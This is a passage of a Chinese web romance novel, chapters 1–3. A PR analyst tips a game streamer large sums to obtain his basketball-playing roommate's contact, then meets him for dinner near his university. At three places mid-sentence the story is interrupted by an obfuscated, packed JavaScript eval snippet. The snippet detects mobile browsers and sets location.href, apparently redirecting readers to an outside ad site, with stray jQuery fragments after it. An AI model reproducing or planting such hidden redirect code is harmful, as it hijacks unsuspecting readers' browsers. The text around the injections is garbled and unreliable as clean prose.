《狗姐玩家》 1. 第 1 章 “你怎么才来呀。”许倩倩开门看见人，瘪嘴抱怨了一句，伸手将人拉进屋子。 迟莱刚下飞机，三月初的夜里，寒气不减，沾了一身，弯腰换鞋的功夫，解释道，“我刚下飞机就赶过来了，你还想怎么样。” 今天的航班因为流量控制的原因延误了两个点，迟莱下飞机就直接往许倩倩这里赶了。 玄关处都是闲置的一次性拖鞋，看来人都已经散了。 迟莱抬头起身的瞬间，一个高瘦的人影挡在了面前，玄关处空间狭窄，险些撞上。 “我也先回去了。” 是许倩倩的对象，陈锋意。 迟莱扭开脸，没打招呼，径直往屋里走了。 “嗯，去吧，路上小心。”许倩倩在陈锋意脸上落了个轻吻，将人送到门口，待人进了电梯才关上门。 听到“咔哒”的关门声，迟莱才出声说：“你什么毛病，他在还叫我过来。” 自从迟莱分手以后，这俩人就一直水火不容，许倩倩没少夹在俩人中间当和事佬，然而毫无用处，俩人不是避而不见，就是见面争锋相对。 陈锋意工作日的时候一般不怎么过来，这次也是因为许倩倩刚搬了新房，请了朋友们过来暖房。 许倩倩没有提前跟迟莱打招呼，就是怕她知道后直接半路掉头走了。 现在只能一脸心虚地转移话题说：“你这么忙，我特意找了个你有空的时间，喊大家一起过来玩儿，结果你还延误了，也太倒霉了吧。” “吃个饭的时间我还是能挤出来的。”迟莱用手推搡了一下靠在自己肩上的脑袋，不吃她这套。 许倩倩被推去了沙发那边，迟莱将身上的皮衣外套脱了，搭在椅背上。屋子里开了暖气，身上只穿一件紧身短t也并不感觉冷。 客厅里暖黄色的灯光，衬出一片温馨，迟莱紧绷了几天的弦终于在此刻松了松。 突然，客厅响起一声尖叫，刺得迟莱耳膜生疼。 “你这放的什么，吵死了。” 许倩倩在收拾茶几上吃完的外卖盒，听见迟莱的话，手上的动作停了停，抬头说： “陈锋意拿我平板放的一个FPS游戏直播，你嫌吵的话就关了吧，放岛台那边了。” 直播里的人还在说话，不过分贝降了不少。 “他怎么在那儿蹲我呀！” “哎呀，我知道，露脸露脸，答应你们的百万粉丝福利肯定不会忘，刚刚就是故意输的，想着给你们露脸呢。” 迟莱拿起平板，看弹幕正刷得热闹，就留心多看了两眼。 没多久，游戏视频左下角果然开了摄像头，画面被主播放大后，占据了大半个屏幕。 看背景应该是宿舍，视频里的人一脸学生气，长相属于普通但干净的那种。 “没开美颜，这是这个摄像头自带的，我天生丽质好嘛。” 迟莱工作以后就鲜少碰游戏，这个主播看着比她老家表弟大不了多少，这个年纪的精力旺盛，经常吵得人头疼。 正准备退出直播间，突然，视频里头晃过了一个赤裸上身的男人，看不到脸，只留了个后背。 “诶，你还在看啊。”许倩倩收拾完过来，见迟莱手里还拿着平板。 迟莱怔了一下，说：“哦，正准备关了。” 点击退出键的时候，眼神飘过那个已经被缩小的摄像头画面，刚刚的背影一闪而过，早已不见了。 迟莱看了眼id......星星点杀。 “喏，你喜欢喝的口味。”许倩倩自调了一杯朗姆酒递给迟莱。 “葡萄？” “是啊。”许倩倩拉着迟莱盘腿坐在了沙发前的地毯上。 许倩倩肩膀撞了撞边上的迟莱，笑得有些荡漾，“这次出差有没有艳遇呀，英国佬好看的不少吧。” 迟莱认真想了想，这次出差倒时差睡不着的时候，确实出去喝了点，毕竟一直高强度工作，反而会降低工作效率。要不是这次行程安排的紧张，她都想在那儿多停留几天。 “有吧，不过异国算了，我喜欢摸得着的。” “春宵一刻，你管那么多。” 迟莱摇了摇头说：“生理安全课没听过吗？春宵一刻，不如我找个长期稳定的省事。” 谈过的几段恋爱，也都是平淡如水，哪有什么春心鸾动的时候，现在看来，不如各取所需找个床搭子。 大概稳定和刺激就没办法在一个人身上实现吧。 许倩倩意料之中的语气说：“这种事能用省事来说，也就你了。要不我给你介绍介绍？” 迟莱刚喝下一口酒，嘴里弥漫着葡萄的清甜，伴随着酒精的刺激，当下不介意地开玩笑说：“行啊，身材好、长得好的。” “你前几个不都这样嘛，也不见你多喜欢。” 迟莱和上一任分了两年，那时候正值她事业上升期，就连分手都没打乱她的工作节奏。不过迟莱一向如此，说是对象，不如说是消遣，有空了才能想起人家来。 所以每次恋情都不长久，而且都是男方提的，她一直都是欣然接受的那个。 “是吗？一般吧。”迟莱都没有多回忆就说。 许倩倩吃惊地说：“还一般？那你这也太难找了。” 确实一般吧，都没有刚刚那一个赤裸的后背给她的感觉大，迟莱心想。 抬起的磨砂酒杯挡住了她姣好的半张脸，看不出神色。 “真想看看你谈恋爱的样子。”许倩倩撑着脸，一脸期待的样子。 迟莱回神，好笑地说：“我又不是没谈过，是我失忆了还是你失忆了？” 许倩倩没好气地白了她一眼，“你那叫谈恋爱吗？分手还没我吵一次架来的伤心。” “我觉得是你太drama了。” 迟莱觉得理想中的两性关系应该就是她这样的，互不干涉，有空了约一约，分开了也不会影响自己的心态。 许倩倩反驳说：“这才是喜欢呀，喜欢怎么可能冷静。” 迟莱不想争辩这个话题，空谈对她来说没有说服力，她没有遇到过许倩倩说的这种情况。 刚过零点的高楼里，细碎的闲话声不断，而灯火的另一边就没那么和谐了。 “你他妈开视频不说一声。”游恕长臂勾着方星泽的脖子，一下把人拉到镜头外。 方星泽实在委屈，试图掰开锁在自己脖子上的手臂，奈何游恕的力气实在太大了，根本撼不动， 只好求饶，“我哪知道你这时候回来啊，错了哥，你今天怎么这么早就练完球了？” 他今天特意挑了寝室没人的时候开的摄像头，平时这个点，游恕还在球场上跟球队的人打球呢。 游恕没答，松开人，指着镜头说：“挪过去。” 他的位置在方星泽后面，摄像头正对的时候，就能看到，要说是监控也差不多了。 “挪了挪了。” 方星泽回去坐下，看到此时弹幕全都是花痴的表情，心想，早知道就把镜头捂死了，不像现在无人在意他。 【主播让让，想看你室友。】 【百万粉丝福利，换成让你室友露脸吧。】 【同意楼上的。】 【同意！】 方星泽忍无可忍说：“我室友长得丑，不方便见人，怕被封，看我就行了。” 说完直接开了把游戏，这弹幕眼不见为净。 迟莱在许倩倩家待到凌晨才开车回去，原本是打算留宿的，但是时差没倒过来，再换个床睡，估计更难睡着了，所以还是回家来了。 迟莱住的是一梯一户，她喜欢大平层的开阔视野，所以当时买房子的时候特意挑了空间够大的江景房。 一整天的精致妆容，也掩盖不了此时的疲倦，迟莱脱了靴子，瞬间整个人松快了不少。快速洗漱卸了妆，躺在床上敷了张面膜。 拿起手机突然想起刚刚在许倩倩家看到的那个id 星星...点杀 迟莱在搜索栏里输入id，出来的结果里，相关度最高的就是个游戏主播，刚上一百万粉丝。 这人头像底下显示直播中。 果然主播都是夜间动物吗？ 迟莱点开直播间，再次确定了自己没有记错，可惜看了几分钟，却不见自己想看的。 直播里的游戏内容迟莱兴致缺缺，看得走了神，不禁想起那一闪而过的背影。 那人赤裸上身，典型的宽肩窄腰，背上的肌肉线条流畅，沟壑分明，隔着屏幕都是荷尔蒙的气息。 迟莱心想，自己可能真的是空窗太久了。 看了一眼账号里的币，一口气充了不少，选择礼物的时候，直接点了最贵的那个。 “我去，感谢榜一的豪华飞艇，姐姐要上车吗？” 怎么一个礼物就成榜一了？ 弹幕都在刷“老板糊涂”，迟莱觉得有些好笑，想了想还是开门见山算了，直接飘屏发了一句： 【刷多少能加你后面那个？】 “我后面那个？”方星泽疑惑地回头看了看，那是游恕的位置，只不过刚刚游恕已经上床去了，椅子上没人。 迟莱以为方星泽没听懂，又说： 【你室友，不穿衣服那个。】 方星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183221|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽这下确定了，毕竟先前挨的一顿揍到现在还记忆犹新呢。 直播快两年了，方星泽还是第一次收到豪华飞艇，这个礼物价值不菲，一般都是大哥大姐为了打榜才刷的。 一时没注意，现在弹幕热闹非常： 【完了完了，主播心态崩了。】 【露脸多了个榜一，结果榜一爱的是我室友？！】 【我现在去擦边还来得及吗富婆姐姐？】 【别瞎了姐姐的眼，主播室友那身材你能有？】 【有钱就是好，我也想加！！】 方星泽怕直播间讨论过度被封，清了清嗓子说：“文明直播间啊，文明直播间。” 迟莱的号还牢牢地挂在贵宾席第一的位置，无形的压力给到方星泽。 要是别个，方星泽二话不说就能把号码给榜一发过去，但是游恕，真不好给。 先不论游恕愿不愿意，即便游恕愿意，就他那脾气，万一把榜一惹毛了，自己岂不是赔了夫人又折兵。 【我去，榜一又刷了两个。】 【我看这个号是新号，之前没充过钱的。】 【不会是哪个神豪的小号吧。】 【主播苟富贵，勿相忘。】 迟莱没什么耐心，连着又刷了两个，方星泽赶忙说：“够了够了，我下播问问他。” 【行，等你消息。】 发完，榜一就直接退出了直播间。 今天周六，北南大寝室不熄灯，所以方星泽下播的时间也就晚了，按照平时，他十一点就已经被学校的断网制裁下播了。 眼下也不早了，最后一把直接被人爆头击杀，耻辱下播了。 方星泽下播后犹豫了半天，才起身往游恕床边靠。 “游恕？阿恕，恕恕。”方星泽敢保证，自己喊未来对象都不可能用这么温柔的声音。 这个点，游恕果然还没睡，人没动，只出声说：“再叫魂，就给你送艺术楼去。” 南北大的艺术楼有不少鬼故事，都是学长学姐一代一代传下来的。方星泽是他们寝室里胆子最小的，属于去个鬼屋都三天不能还魂的那种。 方星泽老实了，起身踩上梯子，手扒在游恕床边的杆子上，好商好量地跟人说： “那个，今天我直播间来了个富婆，一晚上给我刷了几万呢，直接就榜一了。” “嗯，恭喜。”游恕声音有些懒洋洋的，摸不清是不是真困了。 “害，但是那个榜一让我帮个忙。”方星泽犹犹豫豫说，声音越来越小。 方星泽在等着游恕问他，谁知道后者根本没有要接话的打算，他只好硬着头皮，话藏在喉咙里，含糊不清地说：“榜一想加你微信。” “口齿不清就去躺着。” 方星泽这才张了嘴，不带含糊地说：“好消息，你被富婆看上了。” “滚，我对老女人没兴趣。” “你别这么武断嘛，有钱不代表人老呀。” 游恕没多废话，果断说：“不加。” “恕哥，你不出卖色相，兄弟这学期可就要喝西北风了！” 方星泽考上大学以后，日常开销都是靠自己直播挣的。最近游戏直播也不景气，礼物收入越来越低了，挺多主播都已经转行了，所幸方星泽热度还稳得住，所以一直坚持在播。 见游恕还是一言不发，方星泽最后只能说，“咱们同窗这么多年，你的桃花哪次不是我替你解决的，你真的要这么绝情嘛。” 游恕刚入学的时候，经常被人堵着要联系方式，奈何这个人拒绝的方式太直接生硬，连方星泽这个控场王都觉得尴尬。 后来俩人就约定，要是再有这种情况出现，就报方星泽的号码。等回去了，在手机上跟女生说明情况，也不至于让人下不来台。 那段时间方星泽手机可热闹了，过个情人节，手机里的“慰问”比以往过年还多。 不过，后来大家差不多都知道要不到游恕本人的号码了，这种情况也就少了。 “两年。” “什么？” 游恕说：“咱们刚同窗两年，不是很多年。” “我不管，人生能有几个两年，你不能见死不救啊，万一富婆搞个未成年退款，那我的账号就要被限流了。我帮你加了这么多个，现在就要你还这一个，恕哥~。” 说到动情的地方，方星泽都没忍住，上手伸到游恕的帘子里，想要拉着人哭诉，结果被游恕一巴掌打回来了。 “多少？”床上的人问。 “什么多少？” 游恕叹了口气说：“你那个富婆号码多少？” 2. 第 2 章 “我马上问，你等会儿。” “滚下去问。” “好嘞。” 迟莱放下手机，才想起脸上的面膜敷得有些久了，绷得脸有点难受，干脆先摘了起身去洗干净。 自然干的头发带着点弧度，被撩起随意地盘在了后颈处，脸颊两侧滑落了几缕碎发。 身上刚换上的真丝睡衣，因着洗脸的动作，滑落到了手腕处，被温水打湿。 迟莱不喜欢潮湿的感觉，索性脱了衣服，白皙的肌肤在镜子前裸露无遗。前几天在国外水土不服，胸前和脖子过敏起了不少红疹，现下看着有些消下去了。 迟莱洗完脸去到衣帽间，选了件新的睡衣换上。回到房间关了灯，没再留光，手机也被老老实实地倒扣在了床头柜上充电，没再拿起。 一直辗转到凌晨四点才勉强入睡。 方星泽拿着手机，看着后台私信，刚刚给榜一发的消息，一直处于未读状态。 “这么久，创号去了？”游恕凉凉地说。 方星泽一直刷新，但那个未读的标识始终没变，“她没回。” “那不加了，睡觉。” “别呀。” 方星泽见游恕这下是彻底没动静了，索性就先把游恕的号给榜一发了过去，勉强交个任务。 游恕收到好友申请已经是隔天中午的时候了。 上完课回寝室的路上，手机在口袋里一震，点开一看是一条没有备注验证消息的好友申请。 不过多半也能猜到是谁了。 游恕看了眼身边的方星泽，叹了口气，认命通过了。 【迟莱，给个备注。】 【游恕。】 游恕加完人就把手机关了，结果刚放进口袋，又是一震。 迟莱：什么时候有空，方便见个面吗？ 游恕啧了一声，重新拿出来打字拒绝说：加上就行了。 迟莱：我又不是来扩列的。 游恕：那你想什么？ 迟莱：过几天去你们学校办事，一起吃个饭。 “你跟她说你哪个学校的了？”游恕问一旁还在跟人商量中午吃什么的方星泽。 方星泽被这么突然一问，有些丈二和尚摸不着头脑了，“跟谁？” “你那个榜一。” “哦哦，你俩加上了？” 游恕语气凉飕飕地说：“你发的号码，你说呢？” 方星泽嘿嘿了两声，跳过这一茬，回想说：“我主页有写，之前身份认证的时候填的。” 游恕有些无语，说：“那个大家不都是乱填的嘛？” “啊？是吗？我不知道啊。”游恕已经懒得骂人了，转头重新看回手机。 方星泽说完还探头瞄了瞄游恕的手机，可惜被人瞪了一眼就缩回去了。 看游恕这火气不小的样子，皱着眉头，打字的时候手指敲击屏幕的力道像是要敲进屏幕那头去。 方星泽小心翼翼地提醒说：“你温柔点，这可是兄弟的饭碗。” 游恕一个眼神扫过去，方星泽瞬间哑火，露出笑脸，“就一个月，一个月之后就不能申请未成年人退款了，让兄弟发笔横财吧。” “一个月后就删了。”游恕这是答应了。 方星泽头都快点掉了，手上做了一个“请”的动作。游恕想着反正就一个月，与其在手机上扯皮，不如见完算数。 游恕：见一面就行了吧？ 迟莱：目前是的。 其实迟莱起床看到私信里那一串号码的时候，还有片刻迟疑。 人在晚上总是免不了冲动，自我感觉也会更加强烈，相反，早上的状态就比较冷静了。 不过想起自己昨晚刷的礼物，几万换个微信号也不过分。 至于其他的，还是需要见一面，才能确定自己是一时冲动，还是真的有意愿找人发展长期的床伴关系。 所以迟莱并不介意游恕此时不情愿的样子，毕竟从以往的经验来看，前种可能性更大，所以也不过早在人身上费心力了。 迟莱所在的公司，是国内比较知名的公关公司，她的工作主要是负责公关的前置工作，也就是舆情分析。 所以经常需要关注委托公司相关的新闻，洞察舆论走向，好坏都要做到了然于心，统计出表，并给出数据分析。 工作突发性太多，又重时效，所以周末加班也是常有的事。 这次出国，是因为今年新合作的委托公司，在国外的分公司出了点问题，迟莱作为直接负责这个公司项目的舆情分析师，为了新闻时效性，必须要去驻地做新闻数据分析。 昨天上飞机前把数据统计分析好，传回公司了，现在公关部应该已经做出应对的公关方案了。 “小莱姐，这次去国外有没有给我带礼物呀。”小琴是迟莱手下的一个实习生，大概是刚毕业的原因，性子十分活泼。 公司位于市中心的商务大楼，占据了17—20四层，迟莱的办公室位于18楼最里面的位置。 迟莱这会儿刚到公司放下东西，见小琴来了，便拿出刚放进抽屉的礼物，两盒包装精美的巧克力。 小琴之前一直说过想尝一尝这个牌子，所以一眼就认出来了，接过盒子雀跃地说：“小莱姐你太好了吧，居然还记得这个巧克力。” 迟莱勾着浅笑说：“你天天在我耳朵边说，我要是还不记得，就真的是老了。” “小莱姐怎么会老，我要是有你这么好看，再长几岁也行啊。” 她一直觉得小莱姐就是自己梦想中长大后的样子，自信也自由。 “吃了巧克力就是不一样啊，嘴这么甜。” 小琴长得可爱，笑的时候弯了眉眼，“嘿嘿，巧克力是苦的，我本来就嘴甜。” 迟莱挺喜欢小琴的，偶尔忙得焦头烂额的时候，还能听到她讲讲八卦，吐槽吐槽，挺有意思。 “那我先去给大家分礼物啦，小莱姐你先忙。” “去吧。” 公司上下班的打卡形同虚设，有时候前脚刚打了卡，后脚到家就又要捡起电脑继续干活。 迟莱这天一直忙到下班的点，才抽空去吃了个饭，一会儿回来还得继续忙。 付款的功夫，看到半个小时前有游恕发来的消息。 【你什么时候来？】 迟莱仿佛能想象到他不耐烦的语气，虽然还没听过他的声音。 迟莱：你很急？ 游恕：我不喜欢没准儿的事。 刷礼物之前，迟莱特意看过主播的ip，不然也不会砸钱去问联系方式。迟莱想了想近期的工作安排，然后甩了个时间过去，就在后天下午。 “游恕，来啊。”刘畅是篮球队队长，今天下午是校篮球队训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183222|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练。 第一场打完，就看见游恕在篮球场边上坐着了，看样子应该是已经热完身了。 刘畅抱着球过来，“提前过来就为了坐这儿玩手机啊？” “下午最后一节没课，就先过来了，看你们打会儿。”游恕抬头，把手机放进了包里。 刘畅拿起脚边的水，仰头喝了一口，说：“那几个是队里新来的，你看着条件怎么样？” “挺好的，之后还得看看配合。” “行啊，等会让他们跟你打一场试试，他们刚来还问我你今天在不在。” 游恕从小运动神经就发达，平时一直有篮球训练，早晚又都有跑步的习惯，所以身材一直都保持得很好。 穿着宽松的无袖球衣，在篮球场上简单的带球也能引起大家的侧目。 新来个几个队员，有一半是新生里头走体育特招进来的，之前市里的篮球赛也都参加过，所以大多听过游恕的名字，知道他打球进攻性很猛，场上防守他用了不少心思。 游恕打得放松，篮球在他手里左右游移，他步伐迅速、敏捷，起身跳起的时候仿佛触到了余晖，空气都被带动着升温，少年的青春在此刻奔腾。 游恕浅浅打了一局就先下了场。 “学长下次有机会再一起打啊。” “是啊，我们最近训练都在。” 游恕把手里的球拍到了地上，篮球反弹起被说话的新队员精准接住。 “行，下次来让刘畅提前喊你们。”游恕爽快答应。 “队长可别忘了啊。” 刘畅一副我还不懂你们的表情，说：“忘不了，去吧去吧。” “我说你这条件，要是来者不拒的话，估计全校女生都能谈大半了吧。”刘畅看着篮球场外，席地而坐看向球场的女生，打趣道。 游恕本来就对这个话题不感冒，听到这话也没什么想聊的，只道，“别这么说，专心盯你的训练吧。” 场外有不少篮球没进器材框，散落在地上，游恕随手捡了一个。他的手很大，一只手就能将篮球牢牢抓在手里。 这会儿坐在凳子上无聊，左右运球有节奏地拍了几下，最后抬手往筐里投，一击即中。 刘畅也觉得自己刚刚的话有些自讨没趣，认识游恕以来，这家伙一直都是这个无欲无求的态度，更别说什么来者不拒了。 七点过后，食堂里吃饭的人就少了，球队的人三两成群地准备去吃个饭再回来。 刘畅也跟着去了，游恕早下课，已经吃过了就没去。 操场上陆陆续续来了不少学生，这个点学生吃完饭，都开始打卡校园跑了。 游恕闲着没事，就点开了方星泽的直播间。 方星泽高三毕业就开始直播了，大学成了室友，游恕除了一开始进去给他说过几个礼物，后面方星泽不让刷了，他也就挺少再去了，毕竟在宿舍里，差不多是天天看现场直播。 后来游恕进了篮球校队，方星泽直播的时候，他都在篮球场上打球，等他跟篮球队的人打完球回去，方星泽也差不多要下播了。 今天方星泽还是一如既往地先直播吃饭，跟直播间的人一起看视频，过了二十分钟直播间人数涨得差不多了，才开始打游戏。 游恕鬼使神差地点开了方星泽的贵宾席看了一眼，榜一。 头像是个真人头像，女的。 3. 第 3 章 游恕退了直播间，切到了聊天框，点了迟莱的头像，加了快两天了，游恕连人头像都没点进去过。 迟莱的头像是一张城堡的照片，朋友圈估计也没......有？ 朋友圈居然意外的有几条内容，看时间背景应该是最近在国外拍的，旅游九宫格里夹了一张自拍。 原本想要继续往下滑的手，突然地停在了眼前这张照片，迟迟没有动。 他第一次这么直观地觉得一个人好看。 不是那种青春洋溢的好看，而是那种......风情万种的好看。 游恕不自觉地开始想，她给自己发消息的时候，是什么表情。 要是自己平时遇到的女生加上微信，早在他生硬拒绝见面后，就已经尴尬得不知道说什么了。 而她仿佛不在意似的，依旧跟他有来有回。 游恕回到直播间，点开榜一的头像，应该是一张网图，反正不是迟莱。 “欢迎我榜一姐姐大驾光临啊。” 游恕还没移开的手指不自觉地一抖，不知是因为方星泽嗓门太大被吓到了，还是手举累了，又好像都不是。 刚刚点开的榜一已经被挤到了榜二，现在的榜一是那个......城堡头像。 紧接着又听见方星泽说：“谢谢榜一的璀璨星空，姐姐大气呀，我给你展示一波我的闪身枪。” 游恕还等着看闪身枪呢，手机猝不及防一震，屏幕上面弹出了一条消息 署名是迟莱。 【你没在宿舍？】 游恕在心里冷哼了一声，刷了才问，是不是晚了点？ 【没。】 迟莱：那我白刷了。 游恕：我降价了？ 迟莱看着手里屏幕，发现游恕这个人好像也没有那么生硬无趣。 【所以没在宿舍，但在直播间？】 迟莱切出去，顺手又刷了一个豪华飞艇。 游恕在直播间准时看到了华丽的礼物特效。 【都说了我不在，白刷。】 迟莱：没降价，现在看不到，那就后天小心点别迟到。 游恕：你一直这么自说自话吗？ 迟莱：姐姐比较喜欢主导位。 游恕没回他这个意味不明的话，迟莱也没有追着人发消息的习惯，没有反驳就当他是默认了。 北南大附近吃得应该不少，得找时间提前看看了。 见面那天是周四，游恕下午就两节课，原本下午有篮球社的迎新活动，但是跟迟莱定的时间撞上了。 篮球社里的人除了校篮球队的，还有一大部分是爱好篮球的编外人员，游恕不经常去社团，本来也都不熟，这次索性就推了。 倒是刘畅觉得可惜，“你这个招牌不去，我估计又有人要抱怨到我这儿了。” 游恕说：“社团活动我本来就很少参加，而且这次真有事。” 南北大向来鼓励大家参加社团，为此特意规定篮球校队默认加入篮球社。 社团活动一月一次，不过游恕参加得少，偶尔在学校搞篮球娱乐赛的时候，他才去。 这次社团活动就是简单的聚餐看比赛，游恕不去本来也是刘畅意料之中的。 “那行吧，你先去，社长那边我等下跟他打个招呼就行了。” “麻烦了。” 刘畅笑着说：“别急着客气，你在学校，一会儿把这个名单给郑老师带过去，省的我跑一趟了。” 游恕接过来看了一眼，是球队招新名单，“行，我正好顺路。” 从宿舍楼到校门口，本来就要路过教学楼。 这边打好招呼，游恕去的路上就给迟莱发了消息，问她到哪儿了。 之前迟莱给他发过一次定位，就在他学校附近，现在就算是走也应该到了。 然而发出去的消息并没有被对方接收到，手机被迟莱放到了包里，此时无暇顾及。 偌大的办公室里，只有迟莱和郑昊元两个人。 “你去过我家里？”迟莱问眼前的男人。 办公室里其他两个位置上都没有人，不过郑昊元为了防止别人突然进来，还是起身先过去把门关了。 “嗯，许倩倩说你最近出差，我周末就过去陪伯父伯母吃了个饭。”郑昊元耐心地解释说。 迟莱显然不想理会，一样的借口她听了太多次了，要不是这次老人家又打电话探听俩人的近况，她也懒得找他。 “我们分了多久了？” “一年零十个月。” “分了这么久了，你隔三差五上我爸妈那儿吃饭是什么意思，嫌他们催我催得还不够紧？” 郑昊元看到迟莱的时候，眼里是惊喜的，但现在他知道了，对方只是来质问他的。 “给你造成困扰，我向你道歉，但是我们在一起的时候，伯父伯母对我都很好，现在即便是分手了，我去跟两个老人家吃个饭，不过分吧。” 迟莱轻笑了一声说：“我希望你退出我的生活，陈锋意那边我没有办法，但是你去前女友家里，是不是太没边界感了？” 如果不是许倩倩还和陈锋意谈着，不想他们尴尬，迟莱早在第一次发生这种情况的时候，就把他拉黑了。 郑昊元和迟莱在一起的时候，给许倩倩介绍了自己的朋友，也就是陈锋意。现在两个人分手了，不知道郑昊元是怎么扮演受害者的，反正搞得陈锋意对迟莱的成见很深。 许倩倩作为陈锋意的对象，自然想让自己的闺蜜跟对象的兄弟重归于好，顺带能缓解一下俩人水火不容的关系。 这次估计也是出于这个心思，就跟郑昊元说了自己出差的事。 “你相信我，我没有跟他们说什么，我只是说我还没准备好进入下一段感情。” 迟莱不想跟他纠结这些细枝末节的事情，反正话已经说到了，“你记得我跟你说的就行了，再来就烦了。” “迟莱......” “郑老师。” 郑昊元话在嘴里没说出来，就被推门而入的人打断了。 “游恕，怎么了？” 迟莱原本为了避嫌侧过去的脸，听到这个名字，重新转了回来，目光没有意外地落在了进门的少年身上。 少年穿着简单的灰色卫衣和运动长裤。 迟莱的思绪免不了飘忽，那件普通的灰色卫衣在他身上显得格外帅气，而那卫衣之下的身材她见过，虽然就一眼，但杀伤力跟眼前这张脸比起来，不相上下。 “这是刘畅让我送份招新名单。” 郑昊元是他们的体育兼篮球带队老师，名单需要交给他确认。 “哦，你放桌上就行了。” 游恕把东西放下就转身准备出去，谁知撞上了迟莱的视线，后者的眼神没有闪躲，大大方方地落在自己身上。 游恕眼睛里一闪而过的惊讶，很快就被一直以来的波澜不惊给掩盖了，他脚步没有停留，往门口走了。 等人走了，迟莱才最后说了一句：“别再有下次。” 身后的郑昊元伸手想拦，奈何迟莱走得有些快，已经离远了。 “游恕。”迟莱小跑了几步就有些喘了，毕业之后，自己除了一些静态有氧，基本上没有过剧烈运动，体力实在堪忧。 快要走到楼层拐角的人被这一声喊停了，回头看着停在两米外的迟莱。 “跑不动，就早点走。” 迟莱见人停下，便走过去，边走边说：“我跟着你就出来了，还不够早？” “够的话你喘什么？” “你慢点我不就不用喘了？” 游恕隐约清楚迟莱的目的，所以听着这话，多少有点想歪，“你说话能不能别这么有歧义？” “我就字面意思，你想的什么呢？”迟莱拢了拢身上的针织披肩，歪着头笑问。 游恕被看得别扭，抬头望向别处，他眼睛里映入楼外的高树，心里却在想着身旁人的相片。 照片里的人穿着白色吊带，修身工装裤，同色系的棕色夹克外套被系在腰间，头发被风吹得凌乱了些，遮住了半张脸，但是她毫不在意，笑得整个人都明媚了。 迟莱此时的样子和照片里一毫不差，让人一眼就能想起，记住。 看游恕半天憋不出话，迟莱又实在是不想在办公室门口这么站着说话，于是走上前跟游恕并肩，“去吃饭吧，你带路。” 路上游恕问：“你说的过来有事就是刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183223|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那事？” “嗯。” “哦。” 迟莱选的是一家粤菜馆，在学校附近的商圈，现在去还不用排队。 “两位喝什么茶？” “菊花茶吧，降降火。”迟莱看着对面的游恕说。 刚刚他出门走得气势汹汹的样子，她还没忘。 服务员给人泡上茶就先下去了。 游恕确实不想扯皮，直说：“你就想吃个饭？” 来之前，迟莱觉得自己可能见了人就没什么感觉了，现在这种可能直接被否了。 游恕长得很好看，五官自然立体，尤其是鼻子，可以去做整容模板的那种。 单眼皮在这张脸上显得更加有型，和那种含笑的桃花眼截然不同，看人的时候总有种无形的压迫感，迟莱很喜欢。 “你让想别的吗？”迟莱反问道。 游恕拨了拨茶壶上被冲起的盖子，没有回答迟莱的反问，说：“几万块就换我一个微信号？” “嗯，我有钱。” 迟莱只是在陈述事实，所以语气听上去并不会让人觉得高高在上得不舒服。 迟莱不喜欢人畜无害的，所以试探说了句：“你身材很好，我喜欢。” “身材好的多了去了，比如郑老师。” 迟莱不置可否，虽然现在见色起意是常态。 之前谈的确实身材也不错，但是感觉这么强烈的，这是第一次，所以迟莱觉得游恕挺适合建立床伴关系的。 要换成其他关系，估计自己会本末倒置，难保不会在谈纯友谊的时候，想些不该想的。 迟莱勾了勾唇，笑着说：“是吗？我觉得跟你比，他差多了。” 迟莱向来不会在两个人的场合里夸赞第三个人，尤其是在第三者和在场某位存在某种竞争关系时，这是最基本的人情世故。 只不过此时，迟莱说的不止是人情，也是实话。 游恕听了不自然的喝了口茶润嗓，喉结在他那处上下滑动，格外明显。 他的喉结很大，迟莱心想。 “反正这次的事情，这顿饭就算是还了，你的号码我暂时也不会删。”游恕说。 迟莱不急，毕竟现在是自己单方面的需求，还是不要逼得太紧为好。 于是退一步说：“好啊，那下次去直播间，能看到你吗？” 游恕没想到对方这么轻易就答应了，抿了抿嘴，没再生硬拒绝，只说：“我篮球队要训练，不一定。” “没事，训练得去，要保持身材。” 迟莱说这话的时候，眼里含笑地看着游恕，直到对方先认输低下了头，才忍不住笑了出来。 她笑得很好听，调子轻柔，似有若无地拂过，跟方星泽平时分贝爆炸的笑完全不一样，此时的笑，让人有些心痒。 “别笑了，点菜，我饿了。” “嗯。”迟莱把手边的菜单递了过去，说，“想吃什么就点，姐姐请。” 一顿饭吃了一个小时左右，迟莱吃得不多，但是断断续续都有在吃。男生饭量大，顾着埋头吃饭，迟莱问了什么才抬头回答。 游恕第一次觉得，一顿饭原来能说这么多话，从上课讲到篮球，再绕回方星泽的直播。 迟莱聊天的节奏不会过于紧凑，也不会悬着让气氛尴尬，游恕觉得很舒服。 在平时半个小时能吃完的饭，这会儿一个小时才吃完。 迟莱开了车，吃完就把游恕给送回去了。 